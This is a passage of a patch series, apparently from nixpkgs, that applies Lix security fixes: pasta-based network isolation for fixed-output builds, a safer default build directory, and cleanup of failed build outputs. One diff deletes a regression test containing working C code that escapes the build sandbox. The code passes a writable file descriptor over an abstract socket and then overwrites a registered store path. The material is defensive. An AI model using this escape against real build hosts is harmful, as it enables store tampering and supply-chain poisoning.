pastaPid; -+ - /** - * Create and populate chroot - */ -@@ -68,6 +85,7 @@ private: - return true; - } - -+ std::string rewriteResolvConf(std::string fromHost) override; - }; - - } -diff --git a/lix/libstore/settings/pasta-path.md b/lix/libstore/settings/pasta-path.md -new file mode 100644 -index 000000000..1df3600df ---- /dev/null -+++ b/lix/libstore/settings/pasta-path.md -@@ -0,0 +1,10 @@ -+--- -+name: pasta-path -+internalName: pastaPath -+type: Path -+default: "" -+--- -+If set to an absolute path, enables fully sandboxing fixed-output -+derivations, by using `pasta` to pass network traffic between the -+private network namespace. This allows for greater levels of isolation -+of builds to the host. -diff --git a/meson.build b/meson.build -index 92b4c05ec..adcea1142 100644 ---- a/meson.build -+++ b/meson.build -@@ -452,6 +452,13 @@ configdata += { - 'HAVE_DTRACE': dtrace_feature.enabled().to_int(), - } - -+pasta_path = get_option('pasta-path') -+# we can't check the pasta version because passt misuses stdio (it calls _exit() -+# after printing the version, which will never print the version unless run from -+# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential. -+# we *will* enable it in our own packaging, but distributions are not forced to. -+pasta = find_program(pasta_path, required : false, native : false) -+ - lsof = find_program('lsof', native : true) - - # This is how Nix does generated headers... -diff --git a/meson.options b/meson.options -index 8d5eed0bc..50caa32c4 100644 ---- a/meson.options -+++ b/meson.options -@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox', - description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', - ) - -+option('pasta-path', type : 'string', value : 'pasta', -+ description : 'path to the location of pasta (provided by passt)', -+) -+ - option('enable-tests', type : 'boolean', value : true, - description : 'whether to enable tests or not (requires rapidcheck and gtest)', - ) -diff --git a/misc/passt.nix b/misc/passt.nix -new file mode 100644 -index 000000000..3c0c633fa ---- /dev/null -+++ b/misc/passt.nix -@@ -0,0 +1,64 @@ -+{ -+ lib, -+ stdenv, -+ buildPackages, -+ fetchurl, -+ getconf, -+ gitUpdater, -+ testers, -+}: -+ -+stdenv.mkDerivation (finalAttrs: { -+ pname = "passt"; -+ version = "2025_02_17.a1e48a0"; -+ -+ src = fetchurl { -+ url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz"; -+ hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE="; -+ }; -+ -+ postPatch = '' -+ substituteInPlace Makefile --replace-fail \ -+ 'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \ -+ "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)" -+ ''; -+ -+ makeFlags = [ -+ "prefix=${placeholder "out"}" -+ "VERSION=${finalAttrs.version}" -+ ]; -+ -+ passthru = { -+ tests.version = testers.testVersion { -+ package = finalAttrs.finalPackage; -+ }; -+ -+ updateScript = gitUpdater { -+ url = "https://passt.top/passt"; -+ }; -+ }; -+ -+ meta = with lib; { -+ homepage = "https://passt.top/passt/about/"; -+ description = "Plug A Simple Socket Transport"; -+ longDescription = '' -+ passt implements a translation layer between a Layer-2 network interface -+ and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host. -+ It doesn't require any capabilities or privileges, and it can be used as -+ a simple replacement for Slirp. -+ -+ pasta (same binary as passt, different command) offers equivalent -+ functionality, for network namespaces: traffic is forwarded using a tap -+ interface inside the namespace, without the need to create further -+ interfaces on the host, hence not requiring any capabilities or -+ privileges. -+ ''; -+ license = [ -+ licenses.bsd3 # and -+ licenses.gpl2Plus -+ ]; -+ platforms = platforms.linux; -+ maintainers = with maintainers; [ _8aed ]; -+ mainProgram = "passt"; -+ }; -+}) -diff --git a/package.nix b/package.nix -index 3a2e08c8c..f1fd1b1f9 100644 ---- a/package.nix -+++ b/package.nix -@@ -45,6 +45,8 @@ - ninja, - ncurses, - openssl, -+ # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later -+ passt-lix ? __forDefaults.passt-lix, - pegtl, - pkg-config, - python3, -@@ -116,6 +118,8 @@ - # needs derivation patching to add debuginfo and coroutine library support - # !! must build this with clang as it is affected by the gcc coroutine bugs - capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; }; -+ -+ passt-lix = callPackage ./misc/passt.nix { }; - }, - }: - -@@ -249,6 +253,7 @@ stdenv.mkDerivation (finalAttrs: { - # which don't actually get added to PATH. And buildInputs is correct over - # nativeBuildInputs since this should be a busybox executable on the host. - "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}" -+ "-Dpasta-path=${lib.getExe' passt-lix "pasta"}" - ] - ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true" - ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false" -@@ -334,6 +339,7 @@ stdenv.mkDerivation (finalAttrs: { - ++ lib.optionals hostPlatform.isLinux [ - libseccomp - busybox-sandbox-shell -+ passt-lix - ] - ++ lib.optionals ( - stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0" -diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix -deleted file mode 100644 -index a6ae72adc..000000000 ---- a/tests/nixos/ca-fd-leak/default.nix -+++ /dev/null -@@ -1,90 +0,0 @@ --# Nix is a sandboxed build system. But Not everything can be handled inside its --# sandbox: Network access is normally blocked off, but to download sources, a --# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". --# The detail here is not important, but in our case it means that the hash of --# the output has to be known beforehand. And if you know that, you get a few --# rights: you no longer run inside a special network namespace! --# --# Now, Linux has a special feature, that not many other unices do: Abstract --# unix domain sockets! Not only that, but those are namespaced using the --# network namespace! That means that we have a way to create sockets that are --# available in every single fixed-output derivation, and also all processes --# running on the host machine! Now, this wouldn't be that much of an issue, as, --# well, the whole idea is that the output is pure, and all processes in the --# sandbox are killed before finalizing the output. What if we didn't need those --# processes at all? Unix domain sockets have a semi-known trick: you can pass --# file descriptors around! --# This makes it possible to exfiltrate a file-descriptor with write access to --# $out outside of the sandbox. And that file-descriptor can be used to modify --# the contents of the store path after it has been registered. -- --{ config, ... }: -- --let -- pkgs = config.nodes.machine.nixpkgs.pkgs; -- -- # Simple C program that sends a a file descriptor to `$out` to a Unix -- # domain socket. -- # Compiled statically so that we can easily send it to the VM and use it -- # inside the build sandbox. -- sender = pkgs.runCommandWith { -- name = "sender"; -- stdenv = pkgs.pkgsStatic.stdenv; -- } '' -- $CC -static -o $out ${./sender.c} -- ''; -- -- # Okay, so we have a file descriptor shipped out of the FOD now. But the -- # Nix store is read-only, right? .. Well, yeah. But this file descriptor -- # lives in a mount namespace where it is not! So even when this file exists -- # in the actual Nix store, we're capable of just modifying its contents... -- smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); -- -- # The abstract socket path used to exfiltrate the file descriptor -- socketName = "FODSandboxExfiltrationSocket"; --in --{ -- name = "ca-fd-leak"; -- -- nodes.machine = -- { config, lib, pkgs, ... }: -- { virtualisation.writableStore = true; -- nix.settings.substituters = lib.mkForce [ ]; -- virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; -- }; -- -- testScript = { nodes }: '' -- start_all() -- -- machine.succeed("echo hello") -- # Start the smuggler server -- machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") -- -- # Build the smuggled derivation. -- # This will connect to the smuggler server and send it the file descriptor -- machine.succeed(r""" -- nix-build -E ' -- builtins.derivation { -- name = "smuggled"; -- system = builtins.currentSystem; -- # look ma, no tricks! -- outputHashMode = "flat"; -- outputHashAlgo = "sha256"; -- outputHash = builtins.hashString "sha256" "hello, world\n"; -- builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; -- args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; -- }' -- """.strip()) -- -- -- # Tell the smuggler server that we're done -- machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") -- -- # Check that the file was not modified -- machine.succeed(r""" -- cat ./result -- test "$(cat ./result)" = "hello, world" -- """.strip()) -- ''; -- --} -diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c -deleted file mode 100644 -index 75e54fc8f..000000000 ---- a/tests/nixos/ca-fd-leak/sender.c -+++ /dev/null -@@ -1,65 +0,0 @@ --#include --#include --#include --#include --#include --#include --#include --#include --#include --#include -- --int main(int argc, char **argv) { -- -- assert(argc == 2); -- -- int sock = socket(AF_UNIX, SOCK_STREAM, 0); -- -- // Set up a abstract domain socket path to connect to. -- struct sockaddr_un data; -- data.sun_family = AF_UNIX; -- data.sun_path[0] = 0; -- strcpy(data.sun_path + 1, argv[1]); -- -- // Now try to connect, To ensure we work no matter what order we are -- // executed in, just busyloop here. -- int res = -1; -- while (res < 0) { -- res = connect(sock, (const struct sockaddr *)&data, -- offsetof(struct sockaddr_un, sun_path) -- + strlen(argv[1]) -- + 1); -- if (res < 0 && errno != ECONNREFUSED) perror("connect"); -- if (errno != ECONNREFUSED) break; -- } -- -- // Write our message header. -- struct msghdr msg = {0}; -- msg.msg_control = malloc(128); -- msg.msg_controllen = 128; -- -- // Write an SCM_RIGHTS message containing the output path. -- struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -- hdr->cmsg_len = CMSG_LEN(sizeof(int)); -- hdr->cmsg_level = SOL_SOCKET; -- hdr->cmsg_type = SCM_RIGHTS; -- int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); -- memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); -- -- msg.msg_controllen = CMSG_SPACE(sizeof(int)); -- -- // Write a single null byte too. -- msg.msg_iov = malloc(sizeof(struct iovec)); -- msg.msg_iov[0].iov_base = ""; -- msg.msg_iov[0].iov_len = 1; -- msg.msg_iovlen = 1; -- -- // Send it to the othher side of this connection. -- res = sendmsg(sock, &msg, 0); -- if (res < 0) perror("sendmsg"); -- int buf; -- -- // Wait for the server to close the socket, implying that it has -- // received the commmand. -- recv(sock, (void *)&buf, sizeof(int), 0); --} -diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c -deleted file mode 100644 -index 82acf37e6..000000000 ---- a/tests/nixos/ca-fd-leak/smuggler.c -+++ /dev/null -@@ -1,66 +0,0 @@ --#include --#include --#include --#include --#include --#include --#include -- --int main(int argc, char **argv) { -- -- assert(argc == 2); -- -- int sock = socket(AF_UNIX, SOCK_STREAM, 0); -- -- // Bind to the socket. -- struct sockaddr_un data; -- data.sun_family = AF_UNIX; -- data.sun_path[0] = 0; -- strcpy(data.sun_path + 1, argv[1]); -- int res = bind(sock, (const struct sockaddr *)&data, -- offsetof(struct sockaddr_un, sun_path) -- + strlen(argv[1]) -- + 1); -- if (res < 0) perror("bind"); -- -- res = listen(sock, 1); -- if (res < 0) perror("listen"); -- -- int smuggling_fd = -1; -- -- // Accept the connection a first time to receive the file descriptor. -- fprintf(stderr, "%s\n", "Waiting for the first connection"); -- int a = accept(sock, 0, 0); -- if (a < 0) perror("accept"); -- -- struct msghdr msg = {0}; -- msg.msg_control = malloc(128); -- msg.msg_controllen = 128; -- -- // Receive the file descriptor as sent by the smuggler. -- recvmsg(a, &msg, 0); -- -- struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -- while (hdr) { -- if (hdr->cmsg_level == SOL_SOCKET -- && hdr->cmsg_type == SCM_RIGHTS) { -- -- // Grab the copy of the file descriptor. -- memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); -- } -- -- hdr = CMSG_NXTHDR(&msg, hdr); -- } -- fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); -- close(a); -- -- // Wait for a second connection, which will tell us that the build is -- // done -- a = accept(sock, 0, 0); -- fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); -- // Write a new content to the file -- if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); -- char * new_content = "Pwned\n"; -- int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); -- if (written_bytes != strlen(new_content)) perror("write"); --} -diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix -index 474b4ad64..2ad0923e1 100644 ---- a/tests/nixos/default.nix -+++ b/tests/nixos/default.nix -@@ -160,8 +160,6 @@ in - ["i686-linux" "x86_64-linux"] - (system: runNixOSTestFor system ./setuid/setuid.nix); - -- ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; -- - fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; - - symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; -diff --git a/tests/nixos/fetchurl.nix b/tests/nixos/fetchurl.nix -index 719405be5..1626e1c03 100644 ---- a/tests/nixos/fetchurl.nix -+++ b/tests/nixos/fetchurl.nix -@@ -52,7 +52,7 @@ in - - security.pki.certificateFiles = [ "${goodCert}/cert.pem" ]; - -- networking.hosts."127.0.0.1" = [ "good" "bad" ]; -+ networking.hosts."192.168.1.1" = [ "good" "bad" ]; - - virtualisation.writableStore = true; - --- -2.49.0 - - -From 05eba34893122d395774b4ee5eaf4c03ae588ea0 Mon Sep 17 00:00:00 2001 -From: eldritch horrors -Date: Sun, 30 Mar 2025 16:45:34 +0200 -Subject: [SECURITY FIX 11/12] libstore: don't default build-dir to temp-dir - -if a build directory is accessible to other users it is possible to -smuggle data in and out of build directories. usually this ins only -a build purity problem, but in combination with other issues it can -be used to break out of a build sandbox. to prevent this we default -to using a subdirectory of nixStateDir (which is more restrictive). - -Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0 ---- - doc/manual/rl-next/build-dir-mandatory.md | 12 +++++++++++ - lix/libstore/build/local-derivation-goal.cc | 4 +++- - lix/libstore/settings/build-dir.md | 18 ++++++++++++---- - misc/systemd/nix-daemon.conf.in | 3 ++- - .../build-remote-trustless-should-fail-0.sh | 1 - - tests/functional/build-remote-trustless.sh | 1 - - tests/functional/build-remote.sh | 1 - - tests/functional/check.sh | 21 ------------------- - tests/functional/supplementary-groups.sh | 1 - - 9 files changed, 31 insertions(+), 31 deletions(-) - create mode 100644 doc/manual/rl-next/build-dir-mandatory.md - -diff --git a/doc/manual/rl-next/build-dir-mandatory.md b/doc/manual/rl-next/build-dir-mandatory.md -new file mode 100644 -index 000000000..6f69bbba3 ---- /dev/null -+++ b/doc/manual/rl-next/build-dir-mandatory.md -@@ -0,0 +1,12 @@ -+--- -+synopsis: "`build-dir` no longer defaults to `temp-dir`" -+cls: [] -+category: "Fixes" -+credits: [horrors] -+--- -+ -+The directory in which temporary build directories are created no longer defaults -+to the value of the `temp-dir` setting to avoid builders making their directories -+world-accessible. This behavior has been used to escape the build sandbox and can -+cause build impurities even when not used maliciously. We now default to `builds` -+in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration). -diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc -index 7ccb0ad33..2e22f2544 100644 ---- a/lix/libstore/build/local-derivation-goal.cc -+++ b/lix/libstore/build/local-derivation-goal.cc -@@ -435,10 +435,12 @@ try { - }); - } - -+ createDirs(settings.buildDir.get()); -+ - /* Create a temporary directory where the build will take - place. */ - tmpDir = createTempDir( -- settings.buildDir.get().value_or(""), -+ settings.buildDir.get(), - "nix-build-" + std::string(drvPath.name()), - false, - false, -diff --git a/lix/libstore/settings/build-dir.md b/lix/libstore/settings/build-dir.md -index f518d52a5..738368622 100644 ---- a/lix/libstore/settings/build-dir.md -+++ b/lix/libstore/settings/build-dir.md -@@ -1,14 +1,24 @@ - --- - name: build-dir - internalName: buildDir --settingType: PathsSetting> --default: null -+settingType: PathsSetting -+defaultText: "`«nixStateDir»/builds`" -+defaultExpr: nixStateDir + "/builds" - --- - The directory on the host, in which derivations' temporary build directories are created. - --If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable. --Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. -+If not set, Lix will use the `builds` subdirectory of its configured state directory. -+Lix will create this directory automatically with suitable permissions if it does not -+exist, otherwise its permissions must allow all users to traverse the directory (i.e. -+it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly. - - This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. - - If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). -+ -+> Important: -+> -+> `build-dir` must not be set to a world-writable directory. Placing temporary build -+> directories in a world-writable place allows other users to access or modify build -+> data that is currently in use. This alone is merely an impurity, but combined with -+> another factor this has allowed malicious derivations to escape the build sandbox. -diff --git a/misc/systemd/nix-daemon.conf.in b/misc/systemd/nix-daemon.conf.in -index e7b264234..a0ddc4019 100644 ---- a/misc/systemd/nix-daemon.conf.in -+++ b/misc/systemd/nix-daemon.conf.in -@@ -1 +1,2 @@ --d @localstatedir@/nix/daemon-socket 0755 root root - - -+d @localstatedir@/nix/daemon-socket 0755 root root - - -+d @localstatedir@/nix/builds 0755 root root 7d - -diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh -index 1582a7b32..e938e63a2 100644 ---- a/tests/functional/build-remote-trustless-should-fail-0.sh -+++ b/tests/functional/build-remote-trustless-should-fail-0.sh -@@ -8,7 +8,6 @@ requireSandboxSupport - [[ $busybox =~ busybox ]] || skipTest "no busybox" - - unset NIX_STORE_DIR --unset NIX_STATE_DIR - - # We first build a dependency of the derivation we eventually want to - # build. -diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh -index 81e5253bf..a0733fd4a 100644 ---- a/tests/functional/build-remote-trustless.sh -+++ b/tests/functional/build-remote-trustless.sh -@@ -2,7 +2,6 @@ requireSandboxSupport - [[ $busybox =~ busybox ]] || skipTest "no busybox" - - unset NIX_STORE_DIR --unset NIX_STATE_DIR - - remoteDir=$TEST_ROOT/remote - -diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh -index 9b2f5feaf..c7aa09745 100644 ---- a/tests/functional/build-remote.sh -+++ b/tests/functional/build-remote.sh -@@ -3,7 +3,6 @@ requireSandboxSupport - - # Avoid store dir being inside sandbox build-dir - unset NIX_STORE_DIR --unset NIX_STATE_DIR - - function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } - -diff --git a/tests/functional/check.sh b/tests/functional/check.sh -index fc63b9e21..e6d017aa1 100644 ---- a/tests/functional/check.sh -+++ b/tests/functional/check.sh -@@ -49,27 +49,6 @@ test_custom_build_dir() { - } - test_custom_build_dir - --test_custom_temp_dir() { -- # like test_custom_build_dir(), but uses the temp-dir setting instead -- # build-dir inherits from temp-dir when build-dir is unset -- local customTempDir="$TEST_ROOT/custom-temp-dir" -- -- mkdir "$customTempDir" -- nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ -- --no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$? -- [ "$status" = "100" ] -- [[ 1 == "$(count "$customTempDir/nix-build-"*)" ]] -- local buildDir="$customTempDir/nix-build-"* -- grep $checkBuildId $buildDir/checkBuildId -- -- # also check a separate code path that doesn't involve build-dir -- # nix-shell uses temp-dir for its rcfile path -- rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log) -- # rcpath is /nix-shell-*/rc -- [[ $rcpath = "$customTempDir"/* ]] --} --test_custom_temp_dir -- - test_shell_preserves_tmpdir() { - # ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir - local envTempDir=$TEST_ROOT/shell-temp-dir-env -diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh -index d18fb2414..c1a949eb4 100644 ---- a/tests/functional/supplementary-groups.sh -+++ b/tests/functional/supplementary-groups.sh -@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash < -Date: Sat, 26 Apr 2025 20:38:58 +0200 -Subject: [SECURITY FIX 12/12] libstore/build: automatic clean up of - unsuccessfully built scratch outputs - -When a build fails, its scratch output paths are not cleaned up. - -Until recently, this was deemed not a problem but as part of the effort -to harden the Nix builds and protect these paths against being part of a -staged attack (race conditions, etc.), we automatically cleanup after -failed builds. - -Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09 -Signed-off-by: Raito Bezarius ---- - .../aggressive-derivation-output-cleanups.md | 15 +++++++ - lix/libstore/build/local-derivation-goal.cc | 41 +++++++++++++++---- - lix/libstore/build/local-derivation-goal.hh | 15 ++++++- - tests/nixos/default.nix | 3 ++ - tests/nixos/non-chroot-misc/default.nix | 34 +++++++++++++++ - 5 files changed, 99 insertions(+), 9 deletions(-) - create mode 100644 doc/manual/rl-next/aggressive-derivation-output-cleanups.md - create mode 100644 tests/nixos/non-chroot-misc/default.nix - -diff --git a/doc/manual/rl-next/aggressive-derivation-output-cleanups.md b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md -new file mode 100644 -index 000000000..7e94b99df ---- /dev/null -+++ b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md -@@ -0,0 +1,15 @@ -+--- -+synopsis: "Always clean up scratch paths after derivations failed to build" -+issues: [] -+cls: [] -+category: "Fixes" -+credits: ["raito", "horrors"] -+--- -+ -+Previously, scratch paths created during builds were not always cleaned up if -+the derivation failed, potentially leaving behind unnecessary temporary files -+or directories in the Nix store. -+ -+This fix ensures that such paths are consistently removed after a failed build, -+improving Nix store hygiene, hardening Lix against mis-reuse of failed builds -+scratch paths. -diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc -index 2e22f2544..13bda5df9 100644 ---- a/lix/libstore/build/local-derivation-goal.cc -+++ b/lix/libstore/build/local-derivation-goal.cc -@@ -393,9 +393,13 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck() - - void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() - { -- /* Delete unused redirected outputs (when doing hash rewriting). */ -- for (auto & i : redirectedOutputs) -- deletePath(worker.store.Store::toRealPath(i.second)); -+ /* In the past, redirected outputs were manually tracked for deletion. -+ * Now that we have the scratch outputs cleaner which are a superset of -+ * redirected outputs, we just fire all uncancelled automatic deleters now. -+ * -+ * This should clean up any paths that IS NOT registered in the database. -+ */ -+ scratchOutputsCleaner.clear(); - - /* Delete the chroot (if we were using one). */ - autoDelChroot.reset(); /* this runs the destructor */ -@@ -483,6 +487,10 @@ try { - to use a temporary path */ - makeFallbackPath(status.known->path); - scratchOutputs.insert_or_assign(outputName, scratchPath); -+ /* Schedule this scratch output path for automatic deletion -+ * if we do not cancel it, e.g. when registering the outputs. -+ */ -+ scratchOutputsCleaner.emplace(outputName, worker.store.printStorePath(scratchPath)); - - /* Substitute output placeholders with the scratch output paths. - We'll use during the build. */ -@@ -505,8 +513,6 @@ try { - std::string h2 { scratchPath.hashPart() }; - inputRewrites[h1] = h2; - } -- -- redirectedOutputs.insert_or_assign(std::move(fixedFinalPath), std::move(scratchPath)); - } - - /* Construct the environment passed to the builder. */ -@@ -1966,7 +1972,9 @@ try { - } - - /* Don't register anything, since we already have the -- previous versions which we're comparing. */ -+ previous versions which we're comparing. -+ NOTE: this means that the `.check` path will be automatically deleted. -+ */ - continue; - } - -@@ -1990,8 +1998,13 @@ try { - /* If it's a CA path, register it right away. This is necessary if it - isn't statically known so that we can safely unlock the path before - the next iteration */ -- if (newInfo.ca) -+ if (newInfo.ca) { - TRY_AWAIT(localStore.registerValidPaths({{newInfo.path, newInfo}})); -+ /* Cancel automatic deletion of that output if it was a scratch output. */ -+ if (auto cleaner = scratchOutputsCleaner.extract(outputName)) { -+ cleaner.mapped().cancel(); -+ } -+ } - - infos.emplace(outputName, std::move(newInfo)); - } -@@ -2030,6 +2043,13 @@ try { - infos2.insert_or_assign(newInfo.path, newInfo); - } - TRY_AWAIT(localStore.registerValidPaths(infos2)); -+ -+ /* Cancel automatic deletion of that output if it was a scratch output that we just registered. */ -+ for (auto & [outputName, _ ] : infos) { -+ if (auto cleaner = scratchOutputsCleaner.extract(outputName)) { -+ cleaner.mapped().cancel(); -+ } -+ } - } - - /* In case of a fixed-output derivation hash mismatch, throw an -@@ -2057,6 +2077,13 @@ try { - builtOutputs.emplace(outputName, thisRealisation); - } - -+ /* NOTE: At this point, all outputs MAY NOT have been registered. -+ * Therefore, there may remains auto-deleters pending in the cleaner list (`scratchOutputsCleaner`). -+ * -+ * They will be finally deleted but we have no way to assert they all have been, e.g. -+ * `assert(scratchOutputsCleaner.size() == 0)` cannot be written. -+ */ -+ - co_return builtOutputs; - } catch (...) { - co_return result::current_exception(); -diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh -index a0031e141..7e1b9a632 100644 ---- a/lix/libstore/build/local-derivation-goal.hh -+++ b/lix/libstore/build/local-derivation-goal.hh -@@ -111,8 +111,6 @@ struct LocalDerivationGoal : public DerivationGoal - * Hash rewriting. - */ - StringMap inputRewrites, outputRewrites; -- typedef map RedirectedOutputs; -- RedirectedOutputs redirectedOutputs; - - /** - * The outputs paths used during the build. -@@ -129,6 +127,19 @@ struct LocalDerivationGoal : public DerivationGoal - * self-references. - */ - OutputPathMap scratchOutputs; -+ /** -+ * Output paths used during the build are scheduled for -+ * automatic cleanup unless they have been successfully built. -+ * -+ * `registerOutputs` take care of cancelling the cleanups -+ * and clearing this vector. -+ * -+ * `startBuilder` take care of filling this vector -+ * as `scratchOutputs` gets filled. -+ * -+ * This is a map from output names to automatic delete handles. -+ */ -+ std::map scratchOutputsCleaner; - - /** - * Path registration info from the previous round, if we're -diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix -index 2ad0923e1..7b9e11613 100644 ---- a/tests/nixos/default.nix -+++ b/tests/nixos/default.nix -@@ -164,6 +164,9 @@ in - - symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; - -+ # Use this test to test things that cannot easily be tested under chroot Nix stores in functional test suite. -+ non-chroot-misc = runNixOSTestFor "x86_64-linux" ./non-chroot-misc; -+ - noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix; - - noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix; -diff --git a/tests/nixos/non-chroot-misc/default.nix b/tests/nixos/non-chroot-misc/default.nix -new file mode 100644 -index 000000000..93a66a595 ---- /dev/null -+++ b/tests/nixos/non-chroot-misc/default.nix -@@ -0,0 +1,34 @@ -+{ ... }: -+# Misc things we want to test inside of a non redirected, non chroot Nix store. -+let -+ nonAutoCleaningFailingDerivationCode = '' -+ derivation { -+ name = "scratch-failing"; -+ system = builtins.currentSystem; -+ builder = "/bin/sh"; -+ args = [ (builtins.toFile "builder.sh" "echo bonjour > $out; echo out: $out; false") ]; -+ } -+ ''; -+in -+{ -+ name = "non-chroot-sandbox-misc"; -+ -+ nodes.machine = { -+ }; -+ -+ testScript = { nodes }: '' -+ import re -+ start_all() -+ -+ # You might ask yourself why write such a convoluted thing? -+ # The condition for fooling Nix into NOT cleaning up the output path are non trivial and unclear. -+ # This is one of those: create a derivation, mkdir or touch the $out path, communicate it back. -+ # Even with a sandboxed Lix, you will observe leftovers before 2.93.0. After this version, this test passes. -+ result = machine.fail("""nix-build --substituters "" -E '${nonAutoCleaningFailingDerivationCode}' 2>&1""") -+ match = re.search(r'out: (\S+)', result) -+ assert match is not None, "Did not find Nix store path in the result of the failing build" -+ outpath = match.group(1).strip() -+ print(f"Found Nix store path: {outpath}") -+ machine.fail(f'stat {outpath}') -+ ''; -+} --- -2.49.0 - From a90535f1ee1b655beb02ff8d4e2441c3418b14f2 Mon Sep 17 00:00:00 2001 From: Alois Wohlschlager Date: Tue, 24 Jun 2025 19:09:30 +0200 Subject: [PATCH 361/390] lixPackageSets.*.lix: use pasta for FODs on supported platforms --- pkgs/tools/package-management/lix/common-lix.nix | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix index 077c4617698c..d6e68924e7a3 100644 --- a/pkgs/tools/package-management/lix/common-lix.nix +++ b/pkgs/tools/package-management/lix/common-lix.nix @@ -87,6 +87,8 @@ assert lib.assertMsg ( # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50 withLibseccomp ? lib.meta.availableOn stdenv.hostPlatform libseccomp, libseccomp, + pastaFod ? lib.meta.availableOn stdenv.hostPlatform passt, + passt, confDir, stateDir, @@ -171,6 +173,7 @@ stdenv.mkDerivation (finalAttrs: { doxygen ] ++ lib.optionals (hasDtraceSupport && withDtrace) [ systemtap-sdt ] + ++ lib.optionals pastaFod [ passt ] ++ lib.optionals parseToYAML [ yq ] ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linuxMinimal ]; From 29c307117ba60a5590c51997540932355edfedbe Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 17:44:01 +0000 Subject: [PATCH 362/390] python3Packages.guidance-stitch: 0.1.4 -> 0.1.5 --- pkgs/development/python-modules/guidance-stitch/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/guidance-stitch/default.nix b/pkgs/development/python-modules/guidance-stitch/default.nix index 